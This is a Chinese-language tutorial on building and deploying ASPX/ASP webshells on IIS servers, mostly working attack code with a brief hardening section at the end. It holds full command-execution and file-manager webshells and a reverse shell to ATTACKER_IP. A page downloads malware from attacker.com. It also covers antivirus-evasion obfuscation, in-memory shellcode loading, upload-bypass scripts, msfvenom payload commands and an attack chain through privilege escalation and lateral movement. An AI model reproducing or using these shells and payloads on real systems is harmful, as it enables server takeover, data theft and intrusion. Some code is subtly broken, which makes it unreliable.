一、ASP.NET 与 ASP 基础

ASP.NET(ASPX)和传统 ASP(.asp)是 Windows IIS 服务器上最常见的两种 Web 技术。它们都支持动态执行服务器端代码,这也是 WebShell 能够工作的基础。

1.1 技术栈差异

特性 ASP.NET (.aspx) 传统 ASP (.asp)
语言 C# / VB.NET VBScript / JScript
运行时 .NET Framework / .NET Core ASP.dll (COM)
引擎 IIS + aspnet_wp.exe IIS + asp.dll
线程模型 多线程 + 线程池 STA 单线程
支持 .NET ✅ 完整 ❌ 不支持
支持 P/Invoke ✅ 是 ❌ 否

1.2 危险执行原语

ASPX 和 ASP 都有执行任意代码的能力:

<%-- ASPX 内联代码块 --%>
<%= System.Diagnostics.Process.Start("cmd.exe", "/c whoami") %>

<%-- ASP.NET 代码声明块 --%>
<script runat="server">
    void Page_Load(object sender, EventArgs e) {
        // 任意 .NET 代码
    }
</script>

<%-- ASP CodeBehind 预编译类 --%>
<@ Page Inherits="MyEvilPage" %>

二、ASPX 一句话木马(C#)

2.1 基础版:直接命令执行

<%-- basic-cmd.aspx --%>
<%
    string cmd = Request["cmd"] ?? "whoami";
    System.Diagnostics.Process p = new System.Diagnostics.Process();
    p.StartInfo.FileName = "cmd.exe";
    p.StartInfo.Arguments = "/c " + cmd;
    p.StartInfo.UseShellExecute = false;
    p.StartInfo.RedirectStandardOutput = true;
    p.Start();
    Response.Write("<pre>" + p.StandardOutput.ReadToEnd() + "</pre>");
    p.WaitForExit();
%>

使用方法:

GET /basic-cmd.aspx?cmd=whoami
GET /basic-cmd.aspx?cmd=dir C:\
GET /basic-cmd.aspx?cmd=net user
GET /basic-cmd.aspx?cmd=type C:\Windows\win.ini

2.2 菜刀/蚁剑连接版

<%-- chopper-cmd.aspx - 标准菜刀 C# 一句话 --%>
<%@ Page Language="c#" %>
<%
    // 菜刀连接密码: cmd
    // POST 数据格式: cmd=eval/assert/base64_decode...
    string a = Request["cmd"];
    System.Reflection.MethodInfo b = typeof(System.Diagnostics.Process).GetMethod("Start", new Type[] { typeof(string), typeof(string) });
    object c = System.Diagnostics.Process.Start("cmd.exe", "/c " + a);
    System.IO.StreamReader d = new System.IO.StreamReader(((System.Diagnostics.Process)c).StandardOutput.BaseStream);
    Response.Write(d.ReadToEnd());
%>

2.3 完整版:支持 eval + 文件操作

<%-- full-shell.aspx - 多功能 WebShell --%>
<%@ Page Language="c#" validateRequest="false" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Reflection" %>

<script runat="server">
    // 加密密钥(需要与菜刀客户端配置一致)
    string PWD = "cmd";
    
    void Page_Load(object sender, EventArgs e) {
        string action = Request["action"] ?? "exec";
        string param = Request[PWD] ?? "";
        
        switch (action) {
            case "exec":    ExecCommand(param); break;
            case "read":    ReadFile(param); break;
            case "write":   WriteFile(param, Request["content"]); break;
            case "list":    ListDir(param); break;
            case "delete":  DeleteFile(param); break;
            case "upload":  UploadFile(); break;
            case "download": DownloadFile(param); break;
            case "eval":    EvalCode(param); break;
            case "info":    ShowInfo(); break;
            case "sql":     ExecSQL(param); break;
            default:        Response.Write("Unknown action"); break;
        }
    }
    
    // 1. 命令执行
    void ExecCommand(string cmd) {
        Process p = new Process();
        p.StartInfo.FileName = "cmd.exe";
        p.StartInfo.Arguments = "/c " + cmd;
        p.StartInfo.UseShellExecute = false;
        p.StartInfo.RedirectStandardOutput = true;
        p.StartInfo.RedirectStandardError = true;
        p.Start();
        string output = p.StandardOutput.ReadToEnd();
        string error = p.StandardError.ReadToEnd();
        p.WaitForExit();
        Response.ContentType = "text/plain";
        Response.Write(output + error);
    }
    
    // 2. 文件读取
    void ReadFile(string path) {
        Response.ContentType = "text/plain";
        Response.Write(File.ReadAllText(path));
    }
    
    // 3. 文件写入
    void WriteFile(string path, string content) {
        File.WriteAllText(path, content);
        Response.Write("OK");
    }
    
    // 4. 目录列表
    void ListDir(string path) {
        string[] files = Directory.GetFiles(path);
        string[] dirs = Directory.GetDirectories(path);
        Response.ContentType = "text/plain";
        foreach (string d in dirs) Response.WriteLine("[DIR]  " + d);
        foreach (string f in files) Response.WriteLine("[FILE] " + f);
    }
    
    // 5. 删除文件
    void DeleteFile(string path) {
        if (File.Exists(path)) {
            File.Delete(path);
            Response.Write("File deleted");
        } else if (Directory.Exists(path)) {
            Directory.Delete(path, true);
            Response.Write("Dir deleted");
        }
    }
    
    // 6. eval 动态执行
    void EvalCode(string code) {
        // 使用 CSharpCodeProvider 动态编译执行
        Microsoft.CSharp.CSharpCodeProvider provider = new Microsoft.CSharp.CSharpCodeProvider();
        System.CodeDom.Compiler.CompilerParameters params = new System.CodeDom.Compiler.CompilerParameters();
        params.GenerateExecutable = false;
        params.GenerateInMemory = true;
        params.ReferencedAssemblies.Add("System.dll");
        params.ReferencedAssemblies.Add("System.Web.dll");
        
        string src = "using System;using System.Web;" +
            "public class Evil { public static object Run() {" + code + ";} }";
        System.CodeDom.Compiler.CompilerResults results = provider.CompileAssemblyFromSource(params, src);
        if (results.Errors.Count > 0) {
            Response.Write("Compile Error: " + results.Errors[0].ErrorText);
        } else {
            object result = results.CompiledAssembly.GetType("Evil").GetMethod("Run").Invoke(null, null);
            Response.Write(result?.ToString() ?? "null");
        }
    }
    
    // 7. 系统信息
    void ShowInfo() {
        Response.ContentType = "text/plain";
        Response.Write("OS: " + Environment.OSVersion + "
");
        Response.Write("CLR: " + Environment.Version + "
");
        Response.Write("Machine: " + Environment.MachineName + "
");
        Response.Write("User: " + Environment.UserName + "
");
        Response.Write("CPU: " + Environment.ProcessorCount + "
");
        Response.Write("Aspx: " + DateTime.Now + "
");
    }
    
    // 8. 数据库执行(SQL Server)
    void ExecSQL(string sql) {
        string connStr = "Server=localhost;Database=master;Integrated Security=True;";
        using (System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection(connStr)) {
            conn.Open();
            System.Data.SqlClient.SqlCommand cmd = new System.Data.SqlClient.SqlCommand(sql, conn);
            Response.ContentType = "text/plain";
            Response.Write(cmd.ExecuteScalar()?.ToString() ?? "done");
        }
    }
</script>

2.4 反弹 Shell Payload(ASPX)

<%-- reverse-shell.aspx --%>
<%@ Page Language="c#" %>
<%
    // 监听端: nc -lvnp 4444
    // 或: metasploit multi/handler -p windows/x64/shell_reverse_tcp
    
    string ip = Request["ip"] ?? "ATTACKER_IP";
    int port = int.Parse(Request["port"] ?? "4444");
    
    System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient(ip, port);
    System.Net.Sockets.NetworkStream stream = client.GetStream();
    
    // 启动 cmd.exe 并绑定 socket
    System.Diagnostics.Process p = new System.Diagnostics.Process();
    p.StartInfo.FileName = "cmd.exe";
    p.StartInfo.UseShellExecute = false;
    p.StartInfo.RedirectStandardInput = true;
    p.StartInfo.RedirectStandardOutput = true;
    p.StartInfo.RedirectStandardError = true;
    p.Start();
    
    // 异步转发 stdin/stdout/stderr
    var t1 = Task.Run(() => {
        byte[] buf = new byte[4096];
        while (true) {
            int n = stream.Read(buf, 0, buf.Length);
            if (n == 0) break;
            p.StandardInput.BaseStream.Write(buf, 0, n);
        }
    });
    
    var t2 = Task.Run(() => {
        byte[] buf = new byte[4096];
        while (true) {
            int n = p.StandardOutput.BaseStream.Read(buf, 0, buf.Length);
            if (n == 0) break;
            stream.Write(buf, 0, n);
        }
    });
    
    Task.WaitAll(t1, t2);
    p.WaitForExit();
    client.Close();
%>

<%-- Metasploit Payload (msfvenom) --%>
<%-- msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER LPORT=4444 -f aspx -o shell.aspx --%>

2.5 P/Invoke 调用 Native DLL

<%-- pinvoke-shell.aspx --%>
<%@ Page Language="c#" %>
<%@ Import Namespace="System.Runtime.InteropServices" %>

<script runat="server">
    // P/Invoke 调用 Win32 API
    [DllImport("kernel32.dll")]
    static extern IntPtr WinExec(string lpCmdLine, int uCmdShow);
    
    [DllImport("user32.dll")]
    static extern int MessageBox(IntPtr hWnd, string lpText, string lpCaption, uint uType);
    
    void Page_Load(object sender, EventArgs e) {
        // 方式 1: WinExec
        string cmd = Request["cmd"] ?? "calc.exe";
        WinExec("cmd.exe /c " + cmd, 1);
        
        // 方式 2: MessageBox(弹窗测试权限)
        MessageBox(IntPtr.Zero, "Pwned!", "Alert", 0);
        
        // 方式 3: 调用 URLDownloadToFile 下载文件
        string url = Request["url"] ?? "http://attacker.com/malware.exe";
        string path = Request["path"] ?? "C:\Windows\Temp\m.exe";
        URLDownloadToFile(IntPtr.Zero, url, path, 0, IntPtr.Zero);
    }
    
    [DllImport("urlmon.dll")]
    static extern int URLDownloadToFile(IntPtr pCaller, string szURL, string szFileName, int dwReserved, IntPtr lpfnCB);
</script>

三、ASP(VBScript)一句话木马

3.1 基础版

<%-- basic-asp.asp --%>
<%
    Dim cmd
    cmd = Request("cmd")
    If cmd = "" Then cmd = "whoami"
    
    ' WScript.Shell 执行命令
    Set ws = Server.CreateObject("WScript.Shell")
    Set out = ws.Exec("cmd.exe /c " & cmd)
    
    ' 读取输出
    Response.Write "<pre>"
    Response.Write out.StdOut.ReadAll()
    Response.Write out.StdErr.ReadAll()
    Response.Write "</pre>"
%>

3.2 菜刀/蚁剑连接版(ASP)

<%-- chopper-asp.asp --%>
<%
    ' 密码: cmd
    ' 使用 Execute 动态执行代码
    Dim code
    code = Request("cmd")
    
    ' 方式1: Execute 执行 VBScript
    Execute(code)
    
    ' 方式2: Eval 求值
    ' Eval("MsgBox ""pwned""")
%>

使用方法:

# 发送 VBScript 代码执行
POST /chopper-asp.asp
cmd=Response.Write("hello")

# 执行命令
cmd=Set ws=Server.CreateObject("WScript.Shell")
Set o=ws.Exec("cmd /c whoami")
Response.Write(o.StdOut.ReadAll())

3.3 完整版 ASP WebShell

<%-- full-asp.asp --%>
<%
    Option Explicit
    
    Dim action, param, pwd
    pwd = "cmd"
    action = Request("action")
    param = Request(pwd)
    
    Select Case action
        Case "exec"
            ExecCmd param
        Case "read"
            ReadFile param
        Case "write"
            WriteFile param, Request("content")
        Case "list"
            ListDir param
        Case "del"
            DeleteItem param
        Case "info"
            ShowInfo()
        Case "upload"
            UploadFile()
        Case Else
            ExecCmd param
    End Select
    
    Sub ExecCmd(cmd)
        Dim ws, execObj
        Set ws = Server.CreateObject("WScript.Shell")
        Set execObj = ws.Exec("cmd.exe /c " & cmd)
        Response.ContentType = "text/plain"
        Response.Write execObj.StdOut.ReadAll()
        Response.Write execObj.StdErr.ReadAll()
    End Sub
    
    Sub ReadFile(path)
        Dim fso, file
        Set fso = Server.CreateObject("Scripting.FileSystemObject")
        Set file = fso.OpenTextFile(path)
        Response.ContentType = "text/plain"
        Response.Write file.ReadAll()
        file.Close
    End Sub
    
    Sub WriteFile(path, content)
        Dim fso, file
        Set fso = Server.CreateObject("Scripting.FileSystemObject")
        Set file = fso.CreateTextFile(path, True)
        file.Write content
        file.Close
        Response.Write "OK"
    End Sub
    
    Sub ListDir(path)
        Dim fso, folder, file, subfolder
        Set fso = Server.CreateObject("Scripting.FileSystemObject")
        Set folder = fso.GetFolder(path)
        Response.ContentType = "text/plain"
        For Each subfolder In folder.SubFolders
            Response.Write "[DIR]  " & subfolder.Path & vbCrLf
        Next
        For Each file In folder.Files
            Response.Write "[FILE] " & file.Path & vbCrLf
        Next
    End Sub
    
    Sub DeleteItem(path)
        Dim fso
        Set fso = Server.CreateObject("Scripting.FileSystemObject")
        If fso.FileExists(path) Then
            fso.DeleteFile path
        ElseIf fso.FolderExists(path) Then
            fso.DeleteFolder path
        End If
        Response.Write "OK"
    End Sub
    
    Sub ShowInfo()
        Response.ContentType = "text/plain"
        Response.Write "Server: " & Request.ServerVariables("SERVER_SOFTWARE") & vbCrLf
        Response.Write "OS: " & Request.ServerVariables("PROCESSOR_ARCHITECTURE") & vbCrLf
        Response.Write "Path: " & Request.ServerVariables("PATH_INFO") & vbCrLf
    End Sub
    
    Sub UploadFile()
        Dim upload
        Set upload = Server.CreateObject("ADODB.Stream")
        upload.Type = 1
        upload.Open
        upload.Write Request.BinaryRead(Request.TotalBytes)
        upload.SaveToFile Request("savepath"), 2
        Response.Write "Uploaded"
    End Sub
%>

四、其他 .NET WebShell

4.1 .NET Core / .NET 5+

// .NET Core 需要预编译 dll,然后通过特定方式加载
// 或者用 .cshtml (Razor) 页面

@page
@model RazorShellModel
@{
    var cmd = Request.Query["cmd"].ToString();
    System.Diagnostics.Process.Start("cmd.exe", "/c " + cmd);
}

@functions {
    public class RazorShellModel : PageModel {
        public void OnGet() {
            // 逻辑
        }
    }
}

4.2 预编译 DLL 利用

// 编译生成 evil.dll
csc /target:library /out:evil.dll evil.cs

// 通过 web.config 配置 httpHandler 加载
<configuration>
    <system.web>
        <httpHandlers>
            <add verb="*" path="*.evil" type="EvilHandler, evil" />
        </httpHandlers>
    </system.web>
</configuration>

// EvilHandler 类实现 IHttpHandler
public class EvilHandler : IHttpHandler {
    public void ProcessRequest(HttpContext ctx) {
        string cmd = ctx.Request["cmd"];
        System.Diagnostics.Process.Start("cmd.exe", "/c " + cmd);
    }
    public bool IsReusable => false;
}

4.3 JScript.NET 木马

<%@ Language="JScript" %>
<%
    var cmd = Request.Query("cmd");
    var p = new System.Diagnostics.Process();
    p.StartInfo.FileName = "cmd.exe";
    p.StartInfo.Arguments = "/c " + cmd;
    p.StartInfo.UseShellExecute = false;
    p.StartInfo.RedirectStandardOutput = true;
    p.Start();
    Response.Write("<pre>" + p.StandardOutput.ReadToEnd() + "</pre>");
%>

五、IIS 解析漏洞

5.1 IIS 6.0 解析漏洞

IIS 6.0 解析规则:

1. 目录解析: /xx.asp/yyy.jpg
   - 如果目录名包含 .asp,目录内所有文件都按 ASP 解析
   - 构造: /uploads/shell.asp/image.jpg
   - 需要: 创建 shell.asp 目录

2. 文件解析: xx.asp;.jpg
   - IIS 6.0 遇到分号后面的内容会截断
   - xx.asp;.jpg 被当作 xx.asp 执行
   - xx.jpg 后面加 .asp 也会执行

POC 脚本:

import requests

target = "http://target.com/uploads"

# 方法 1: 目录解析漏洞
files = {
    'file': open('shell.asp', 'rb'),  # 内容: <%execute(request("cmd"))%>
}
data = {
    'dir': 'shell.asp/'  # 目录名带 .asp
}
r = requests.post(f"{target}/upload", files=files, data=data)
# 访问: http://target.com/uploads/shell.asp/shell.asp?cmd=...

# 方法 2: 分号解析漏洞
files = {'file': ('shell.asp;.jpg', open('shell.asp', 'rb'))}
requests.post(f"{target}/upload", files=files)
# 访问: http://target.com/uploads/shell.asp;.jpg?cmd=...

5.2 IIS 7.0/7.5 解析漏洞

IIS 7.x + Nginx 环境:

Nginx 优先解析后缀,转发到 IIS
上传: shell.jpg 内容: <?php @eval($_POST[c]);?>

# 利用 PATH_INFO 漏洞
http://target.com/upload/shell.jpg/index.php
# Nginx 认为路径是 /upload/shell.jpg/index.php
# 转发给 PHP 解释器
# PHP 取后缀 .php 当作代码执行

# 类似:
http://target.com/upload/shell.jpg/.php
http://target.com/upload/shell.jpg%00.php

# CGI 模式下:
http://target.com/upload/shell.jpg?PHPSESSID=1%20-cmd
http://target.com/upload/shell.jpg%0d%0a.php

5.3 IIS 8.0+ 绕过

IIS 8.0+ 修复了大部分解析漏洞,但仍有一些绕过:

1. 双后缀: shell.jpg.php -> PHP 执行
2. 配置错误: handler 映射不当
3. ThinkPHP 5.x 路径穿越到 .php 文件

# 检查 IIS handler 映射
%WINDIR%System32inetsrvconfigapplicationHost.config
# 找到 <handlers> 部分,看哪些扩展名映射到 aspnet_isapi.dll

# 如果存在 .cer -> aspnet_isapi.dll
# 可以上传 shell.cer 内容为 ASP.NET 代码

六、WebShell 免杀技术

6.1 代码混淆

<%-- 混淆示例 --%>
<%@ Page Language="c#" %>
<%
    // 拆分数组 + 动态调用
    string[] a = {"cmd.exe", "/c", "whoami"};
    System.Diagnostics.Process.Start(a[0], a[1] + " " + a[2]);
    
    // 使用 Type.GetType 动态加载
    Type t = Type.GetType("System.Diagnostics.Process, System");
    MethodInfo m = t.GetMethod("Start", new Type[]{typeof(string), typeof(string)});
    m.Invoke(null, new object[]{"cmd.exe", "/c whoami"});
    
    // 反射混淆关键字
    string procName = new string(new char[]{'p','r','o','c','e','s','s'});
    Assembly.Load("System").GetType("System.Diagnostics.Process").GetMethod("Start");
    
    // Unicode 转义
    system  // "system"
    
    // Base64 解码
    string b64 = "Y21kLmV4ZSAvYyB3aG9hbWk=";
    System.Diagnostics.Process.Start(
        System.Text.Encoding.UTF8.GetString(
            System.Convert.FromBase64String(b64)
        )
    );
%>

6.2 内存执行(不落盘)

<%-- 内存加载 DLL / Shellcode --%>
<%@ Page Language="c#" %>
<%@ Import Namespace="System.Runtime.InteropServices" %>

<script runat="server">
    // VirtualAlloc + CreateThread 执行 Shellcode
    [DllImport("kernel32.dll")]
    static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    
    [DllImport("kernel32.dll")]
    static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, 
        IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out IntPtr lpThreadId);
    
    [DllImport("kernel32.dll")]
    static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
    
    void Page_Load(object sender, EventArgs e) {
        // msfvenom -p windows/x64/exec CMD=whoami -f raw > shellcode.bin
        byte[] shellcode = { 0xFC, 0x48, 0x83, ... }; // 你的 shellcode
        
        IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 
            0x1000 | 0x2000, 0x40);
        Marshal.Copy(shellcode, 0, addr, shellcode.Length);
        IntPtr threadId;
        IntPtr thread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, out threadId);
        WaitForSingleObject(thread, 0xFFFFFFFF);
    }
</script>

6.3 动态编译绕过

<%-- Roslyn 动态编译执行代码 --%>
<%@ Page Language="c#" %>
<%@ Import Namespace="Microsoft.CodeAnalysis" %>
<%@ Import Namespace="Microsoft.CodeAnalysis.CSharp" %>
<%@ Import Namespace="System.Reflection" %>

<%
    string code = Request["code"];
    
    var syntaxTree = CSharpSyntaxTree.ParseText(
        "using System;" +
        "public class DynamicCode {" +
        "    public static void Execute() {" + code + ";}" +
        "}"
    );
    
    var references = new[] { 
        MetadataReference.CreateFromFile(typeof(object).Assembly.Location) 
    };
    
    var compilation = CSharpCompilation.Create(
        "EvilAssembly",
        new[] { syntaxTree },
        references,
        new CSharpCompilationOptions(OutputKind.DynamicallyLinkedLibrary)
    );
    
    using (var ms = new System.IO.MemoryStream()) {
        var emitResult = compilation.Emit(ms);
        if (emitResult.Success) {
            ms.Position = 0;
            var asm = Assembly.Load(ms.ToArray());
            var type = asm.GetType("DynamicCode");
            var method = type.GetMethod("Execute", BindingFlags.Public | BindingFlags.Static);
            method.Invoke(null, null);
            Response.Write("Executed");
        } else {
            Response.Write("Compile error");
        }
    }
%>

七、实战流程

7.1 完整攻击链

1. 信息收集
   - 识别 IIS 版本: Server: Microsoft-IIS/6.0 / 7.5 / 10.0
   - 识别 ASP.NET 版本: X-Powered-By: ASP.NET
   - 寻找上传点: 头像上传、文件导入、CMS 编辑器

2. 尝试上传 WebShell
   - 直接上传 .aspx -> 可能被过滤
   - 尝试双后缀: shell.jpg.aspx
   - 尝试解析漏洞: shell.asp;.jpg (IIS 6.0)
   - 尝试目录解析: 创建 uploads/shell.asp/ 目录后上传

3. 连接 WebShell
   - 浏览器直接访问基础版
   - 菜刀 / 蚁剑连接(需要正确配置密码和类型)
   - 密码可以用 base64 / AES 加密传输

4. 权限提升
   - WebShell 默认权限: IIS_IUSRS / Network Service
   - 寻找提权漏洞: Windows 内核漏洞、未授权服务、AlwaysInstallElevated
   - 下载 PowerView / Sherlock 脚本枚举

5. 横向移动
   - 收集凭证: Mimikatz、LaZagne、浏览器密码
   - 扫描内网: for /L %i in (1,1,254) do @ping -n 1 -w 100 192.168.1.%i | find "TTL"
   - PsExec / WMI 执行命令

7.2 msfvenom 生成 Payload

# 生成 ASPX Meterpreter
msfvenom -p windows/x64/meterpreter/reverse_tcp     LHOST=ATTACKER_IP LPORT=4444     -f aspx -o meterpreter.aspx

# 生成反向 shell
msfvenom -p windows/x64/shell_reverse_tcp     LHOST=ATTACKER_IP LPORT=4444     -f raw -o shell.bin

# 生成 EXE
msfvenom -p windows/x64/meterpreter/reverse_tcp     LHOST=ATTACKER_IP LPORT=4444     -f exe -o meterpreter.exe

# 监听
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST ATTACKER_IP
set LPORT 4444
run

八、防御方案

8.1 IIS 加固

# 1. 禁用不必要的扩展名
# IIS Manager -> HTTP Handler Mappings
# 移除 .cer, .cdx, .asa, .asmx 等不常用的映射

# 2. 设置请求过滤拒绝危险扩展名
# web.config 配置:
<system.webServer>
    <security>
        <requestFiltering>
            <fileExtensions allowUnlisted="false">
                <clear />
                <add fileExtension=".aspx" allowed="true" />
                <add fileExtension=".js" allowed="true" />
                <add fileExtension=".css" allowed="true" />
                <add fileExtension=".jpg" allowed="true" />
                <add fileExtension=".png" allowed="true" />
                <!-- 仅开放必要扩展名 -->
            </fileExtensions>
            <requestLimits maxAllowedContentLength="30000000" />
        </requestFiltering>
        <httpErrors existingResponse="PassThrough" />
    </security>
</system.webServer>

# 3. 禁用目录浏览
# IIS Manager -> Directory Browsing -> Disable

# 4. 上传目录禁止执行
# 在上传目录添加 web.config:
<system.webServer>
    <handlers>
        <remove name="All" />
        <add name="StaticOnly" path="*" verb="*" 
             modules="StaticFileModule" 
             resourceType="File" requireAccess="Read" />
    </handlers>
</system.webServer>

8.2 ASP.NET 安全配置

<!-- 禁用调试模式 -->
<compilation debug="false" />

<!-- 关闭请求验证(但这不是安全措施!) -->
<!-- 应改为使用白名单验证 -->

<!-- 配置 allowOverride="false" 防止子目录覆盖 -->
<system.web>
    <customErrors mode="On" defaultRedirect="Error.aspx" />
    <compilation debug="false" strict="false" explicit="true" />
    <httpRuntime enableVersionHeader="false" />
</system.web>

<!-- 移除版本头 -->
<system.webServer>
    <httpProtocol>
        <customHeaders>
            <remove name="X-Powered-By" />
        </customHeaders>
    </httpProtocol>
</system.webServer>

8.3 WAF / 杀毒软件规则

常见 WAF 规则特征:

1. 文件签名:
   - 检查 <%eval/<%execute/Server.CreateObject("WScript.Shell")
   - 检查 Process.Start/win32_exec/WMI 调用

2. 请求参数:
   - 检测 cmd=/c /e: /k 等命令执行特征
   - 检测 base64 解码 + eval/execute 组合

3. 行为检测:
   - 监控可疑进程创建 (cmd.exe/powershell.exe)
   - 监控网络连接 (非白名单 IP)
   - 监控文件写入 (webroot 目录下新文件)

# 微软 Defender for Endpoint / EDR
# 检测: ASRX -> 基于规则检测常见 WebShell 签名
# 勒索防护: 阻止对关键文件的异常加密行为

九、总结

ASPX/ASP WebShell 开发要点:

  1. ASPX 核心:Process.Start() 执行命令,支持 .NET 完整功能
  2. ASP 核心:WScript.Shell + Execute 动态代码
  3. 免杀:反射、动态编译、Unicode 编码、内存执行
  4. 利用链:上传点 → 解析漏洞 → WebShell → 权限提升 → 横向移动
  5. 防御:严格扩展名白名单、上传目录禁止执行、移除危险 Handler 映射